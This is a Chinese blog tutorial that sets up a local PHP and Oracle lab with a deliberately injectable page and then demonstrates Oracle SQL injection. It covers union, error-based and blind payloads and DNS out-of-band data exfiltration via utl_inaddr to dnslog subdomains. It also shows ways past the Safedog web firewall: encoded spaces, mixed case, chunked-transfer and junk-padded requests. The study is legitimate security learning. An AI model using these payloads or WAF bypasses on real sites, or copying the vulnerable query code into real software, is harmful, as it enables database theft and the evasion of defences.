文前先感谢大家的支持,上篇Oracle数据库注入总结想着后续学习一下如何进行利用,getshell的,奈何技术还太菜了,再加上项目压力大,所以就慢慢搁置了。这里先出一篇bypass的,文中仅针对Oracle数据库,但是bypass手法我认为万变不离其宗,思想上是通用的,希望能够对大家有所帮助。
0x01 环境准备
一、安装Oracle数据库
1、首先下载数据库安装软件
具体可以从参考这里,我是从他的百度云下载的
https://blog.csdn.net/qq_32786873/article/details/81187208
2、点击setup.exe安装即可
(安装过程不过多阐述,没什么太大区别,就下一步下一步即可)
3、开启oracle数据库
打开cmd,连接数据库
C:\Users\user>sqlplus
请输入用户名: system
输入口令:
连接到:
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
防止网络不通,建议关闭防火墙
4、使用navicat连接数据库(system:root)
5、也可以使用sql plus新建用户
二、安装phpstudy
1、phpstudy下载地址如下:
http://public.xp.cn/upgrades/phpStudy20161103.zip
这里推荐使用2016版本,因为我使用2018死活搭不成功
安装过程很简单,设置安装路径,下一步下一步即可。
2、切换版本为5.5.38,这里推荐这个因为我就是这个搭成功的。
(如果显示需要安装VC扩展库的话,按照教程安装即可,我这里安装的是VC11的,链接放这了:https://www.php.cn/xiazai/download/1481)
3、安装完之后,打开phpinfo
也可以像我这样在C:\phpStudy\WWW目录下新建phpinfo.php文件,内容为:
<?php phpinfo();?>
这里看到是32位的。
三、设置oci8扩展
(这里我是一直不成功,弄了半天,差点放弃了)
1、首先在C:\phpStudy\php\php-5.5.38目录下,修改php.ini的内容(搜索oci8,找到对应的扩展处,将前面的;删除即可。)
2、之后就开始苦逼地调试环境了,最终弄好是根据这篇文章弄好的,链接如下:
https://www.it1352.com/1713162.html
在php路径下,打开cmd,输入如下命令:
C:\phpStudy\php\php-5.5.38>php.exe -m
PHP Warning: PHP Startup: Unable to load dynamic library 'C:\phpStudy\php\php-5.5.38\ext\php_oci8.dll' - %1 不是有效的 Win32 应用程序。
in Unknown on line 0
Warning: PHP Startup: Unable to load dynamic library 'C:\phpStudy\php\php-5.5.38\ext\php_oci8.dll' - %1 不是有效的 Win32 应用程序。
in Unknown on line 0
PHP Warning: PHP Startup: Unable to load dynamic library 'C:\phpStudy\php\php-5.5.38\ext\php_oci8_11g.dll' - %1 不是有 效的 Win32 应用程序。
in Unknown on line 0
Warning: PHP Startup: Unable to load dynamic library 'C:\phpStudy\php\php-5.5.38\ext\php_oci8_11g.dll' - %1 不是有效的 Win32 应用程序。
in Unknown on line 0
PHP Warning: PHP Startup: Unable to load dynamic library 'C:\phpStudy\php\php-5.5.38\ext\php_pdo_oci.dll' - %1 不是有效的 Win32 应用程序。
in Unknown on line 0
Warning: PHP Startup: Unable to load dynamic library 'C:\phpStudy\php\php-5.5.38\ext\php_pdo_oci.dll' - %1 不是有效的 Win32 应用程序。
in Unknown on line 0
3、根据文章中所说,安装oracle instantclient,链接如下:
https://www.oracle.com/database/technologies/instant-client/microsoft-windows-32-downloads.html
因为数据库是11g的,所以安装11.1.x版本
4、下载好之后解压,放入C:\instantclient_11_1
5、设置环境变量,这一步很重要
在此电脑右键属性 - 高级系统设置 - 环境变量 - 系统变量(Path) - 编辑
增加这三个路径,注意顺序不要变,instantclient必须放在php的上面。
6、验证,在cmd命令提示符中输入
where oci*
出现instantclient的路径即可。
7、重启计算机
8、在php路径下,打开cmd,输入如下命令并查看结果(没有出现“不是有效的 Win32 应用程序”即可)
php.exe --ri oci8
9、在phpinfo中搜索oci8,有如下界面表示扩展已经开启成功。(没有就重启phpstudy)
当出现如下界面,环境就已经基本搭建好了。
四、创建漏洞测试环境
1、 建立存在漏洞数据
1、首先使用navicat连接数据库
(这里有一个坑,连接时可能会出现oracle library is not loaded)
在工具 - 选项处
修改oci环境,选择之前数据库安装的路径,修改完后记得重启
2、连接数据库之后,选择相应的用户,我这里是SYSTEM
3、新建表TEST,设置如下字段
4、添加如下数据(数据其实是任意的,随意添加即可)
5、新建查询进行验证
以上漏洞数据就简单搭建成功了。
2、搭建PHP站点
1、将源码保存为oracle.php文件,放到C:\phpStudy\WWW目录下
源码如下:
<?php
header("Content-Type:text/html;charset=utf-8");
$id = @$_REQUEST['id'];
$dbstr ="(DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST =127.0.0.1)(PORT = 1521)) (CONNECT_DATA = (SERVER = DEDICATED) (SERVICE_NAME = orcl) (INSTANCE_NAME = orcl)))"; //连接数据库的参数配置
$conn = oci_connect('system','root',$dbstr);//连接数据库,前两个参数分别是账号和密码
if (!$conn)
{
$Error = oci_error();//错误信息
print htmlentities($Error['message']);
exit;
}
else
{
echo "<h3>Oracle 注入测试靶场</h3>"."<br>";
$sql = "select * from TEST where id=".$id;//sql查询语句
echo "当前sql语句为:".$sql."<br>"."<br>";//输出sql查询语句
$ora_b = oci_parse($conn,$sql); //编译sql语句
oci_execute($ora_b,OCI_DEFAULT); //执行
while($r=oci_fetch_row($ora_b)) //取回结果
{
$i=0;
echo "Id:".$r[$i++]." </t> <br>";
echo "Name:".$r[$i++]." </t><br> ";
echo "Age:".$r[$i++]." </t><br> ";
}
}
oci_close($conn);//关闭连接
?>
2、访问http://localhost/oracle.php?id=1,返回如下界面表示搭建成功,数据库也成功连接了。
五、安全狗
双击安装即可。
因为前面搭建环境是比较早就搭好了的,后面加上安全狗的时候忘记截图了,大概就是需要先将PHPstudy以系统服务来运行,之后再安装安全狗便可以选择相应的apache服务了。
0x02 bypass概念
bypass即绕过,分流。在渗透测试中,发现某漏洞存在但是因为waf、代码层面过滤等安全措施导致无法利用,这种时候,通过编码、大小写、双写等方式绕过安全防护的手法,我们常称之为bypass。
0x03 Oracle注入测试
首先列举正常无waf、无检测的环境下,oracle数据库注入的常见注入手法。
1、检测漏洞点
http://localhost/oracle.php?id=1 and 1=1
http://localhost/oracle.php?id=1 and 1=2
2、显错注入
http://localhost/oracle.php?id=-1 union all select 1,(select user from dual),3,'4' from dual --
3、报错注入
http://localhost/oracle.php?id=-1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) --
4、布尔盲注
http://localhost/oracle.php?id=1 and 1=(select decode(user,'SYSTEM',1,0) from dual) --
http://localhost/oracle.php?id=1 and 1=(select decode(user,'SSSSS',1,0) from dual) --
5、延时盲注
http://localhost/oracle.php?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('o',5),0) from dual) --
6、外带数据
http://localhost/oracle.php?id=1 and (select utl_inaddr.get_host_address((select user from dual)||'.pgx519.dnslog.cn') from dual)is not null --
0x04 bypass
1、空格替换
以?id=1 and 1=1为例,fuzz可以替换空格的常见字符
%2d、%2e不报错,但是无信息返回
%0a、%0b、%2b、%0c、%0d、%00、%20、%09
数据正常返回,可以替换
其他字符如/*/、/60001/、/!*/、+、()也可以替换空格
2、大小写替换
对关键字进行大小写随机替换
http://192.168.150.6/oracle.php?id=-1 uNIon ALl sELEct 1,'2',(SelEct uSEr fROm test wHEre id=1) fROm dUAl --
3、拼接换行回车符
Oracle中用CHR(10)表示换行、CHR(13)表示回车、字符串拼接使用||,那么回车换行即是chr(13)||chr(10)。
只要是select from XXX中的都可以拼接回车或换行,*不限于列名、字段名、正常字符串。如下图在user前拼接回车符
http://192.168.150.6/oracle.php?id=-1 uNIon ALl sELEct 1,'2',(SelEct chr(13)||uSEr fROm test wHEre id=1) fROm dUAl --
在之后拼接也是可以的
4、替换注入方法&结合替换
有的时候,真的一直无法显错注入、报错注入,这种时候,不妨试试盲注,虽然盲注获取数据难,耗费时间长,但是注入成功率却比显错、报错更高。
下面是通过延时盲注,加前面的%00替换空格,成功bypass
http://192.168.150.6/oracle.php?id=1 and%001=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('o',5),0) from dual) --
同样的,布尔盲注也成功bypass
http://192.168.150.6/oracle.php?id=1 and%001=(select decode(user,'SYSTEM',1,0) from dual) --http://192.168.150.6/oracle.php?id=1 and%001=(select decode(user,'SYSTEM1',1,0) from dual) --
and后面加%00,成功外带数据
http://192.168.150.6/oracle.php?id=1 and%00(select utl_inaddr.get_host_address((select user from dual)||'.nm0se5.dnslog.cn') from dual)is not null --
回头看报错注入,也成功bypass
http://192.168.150.6/oracle.php?id=-1 and%001=ctxsys.drithsx.sn(1,(select user from dual)) --
5、分块传输
到现在,除了显错注入,基本都已经成功bypass了,union select的我试了好多方法都不行,大小写、编码、换行、内联注释。
我还发现,内联注释中65001现在会拦截,650011不拦截
http://192.168.150.6/oracle.php?id=-1 union all /*!65001select*/ 1,(/*!65001select*/ user from dual),3,'4' from dual --http://192.168.150.6/oracle.php?id=-1 union all /*!650011select*/ 1,(/*!650011select*/ user from dual),3,'4' from dual --
查了一下意思是select变成了字符串,无法使用了。加个单引号又触发告警。。。
实在绕不过了,希望后面绕过的时候分享一下经验
现在这里,直接祭出大杀器,分块传输
编码之后发送数据包即可,成功绕过,这里放上数据包。
POST /oracle.php HTTP/1.1Host: 192.168.150.6User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: safedog-flow-item=081E092AB3A2707489C52CCAF4678FACUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 1156Transfer-Encoding: chunked2;xV1fjate8Q2XVoid3;FBbE5aPh1njsaBHT0t8amN=-13;DShr5ncZWnci6BodOiYRfspzR%202;pP4mnFcEQkyiQl6jC3ZuN3;Wx7ThDIon3;4NUgobBzQmvdJJgZwG%203;NXVKpLV5sALl1;lJalLMNAhnO8ffdGzL%2;pteuvLkGgZtSFG7wu4jh203;ft8CiaQjsEL1;ovy3F7LND8VHfkE3;RAyIuvoLAOWnSqxct%2;d6QXVbZb203;hNC48x1,%2;GCe40272;tz5rvVKedF2%1;G3myIfs0GAPu2eH7922;pThPJsudDL7,3;2yEVY8frLisFHPF4CDIR(Se3;gz14uhleOIDF74XtBFcXlEc2;QfmWbtNKcpt%3;a9jkXA20u2;LzU0pITPWYYSE3;tq3Kj9GTFfRqKymRnxr%22;LtPJFi3QoCTfQl0f2;EhqBiFNv8QXNqlcdgsRO1;bFragm1;DNn9kgy1%3;kswkTXdypO8iRNnAXQNy5gh20t3;Qjsv8Smfch2anhgwadest1;RJZ3Cf97d2iC5Yu%1;AomRcv23;KKFeF9ciN4Vwp6Rn26W530wH1;BMyXT4jl33E3;PPdD7Vdju0re%2;rsWVY36Q2ZmSh201;WQRwnvb7i2;uEAKtk5xd=3;c5E5JxcbYZ1)%2;FdTC5clj3AK5TO3201;13Am4uFf3;6Kz1J8BRdROm1;djnsRxzDiylbhAn4rapq%2;DlOc4poqaBWkrdVbG201;VUyDTYwHuog9fXrYxKm3WQF4d2;l10VFVhUA1;hAY6RlsGl1;CFQY7BhysEhkSmRVRgUIea%1;ENwHkBbAM8Rp623;9VNJ2r6HJRqRmBl3A7DmzAoiN0--3;AKxfqTuP7AstNrPdKtBFy9B/**1;5knHpLVmWn8kUWZkVfUSm8YJD/0
分块传输的插件github有,可以搜索chunked查找。
6、万能脏数据
前面分块传输成功后,给了自己莫大的信心,果然,万能脏数据也成功了,渐渐就好起来了。
要知道,waf对于每一个数据包都进行检测,这是很耗费资源的,所以一般只会在固定长度范围内进行检测,那么这里在语句中插入大量无用字符,便可以成功绕过。
POST /oracle.php HTTP/1.1Host: 192.168.150.6User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: safedog-flow-item=081E092AB3A2707489C52CCAF4678FACUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 6711id=-1/*脏数据*/uNIon/*脏数据*/ALl/*脏数据*/sELEct%201,%272%27,(SelEct%20uSEr%20fROm%20test%20wHEre%20id=1)%20fROm%20dUAl%20--/*脏数据*/
7、其他
其他还有一些双写、各种编码等,可以参考:https://mp.weixin.qq.com/s/t7W_yEB5ajb_zlng_uMD7w
基于Mysql数据库的绕过技术,虽然现在没有那么容易绕过了,但是思路不变,学习里面的思想也是不错的,初学时的一篇文章,希望大家喜欢。
0x05 总结
写了好久好久,也算是记录了自己的学习和尝试过程,希望对大家有所帮助。不知道我的写作风格大家喜不喜欢,我是比较边做边写,希望将思路的变化过程留下来,可能文章会比别人的长,也更繁琐,还请大佬们不要嫌弃。前面主要讲了环境准备和注入的简单payload展示,有相关能力的也可以直接看0x04,谢谢大家~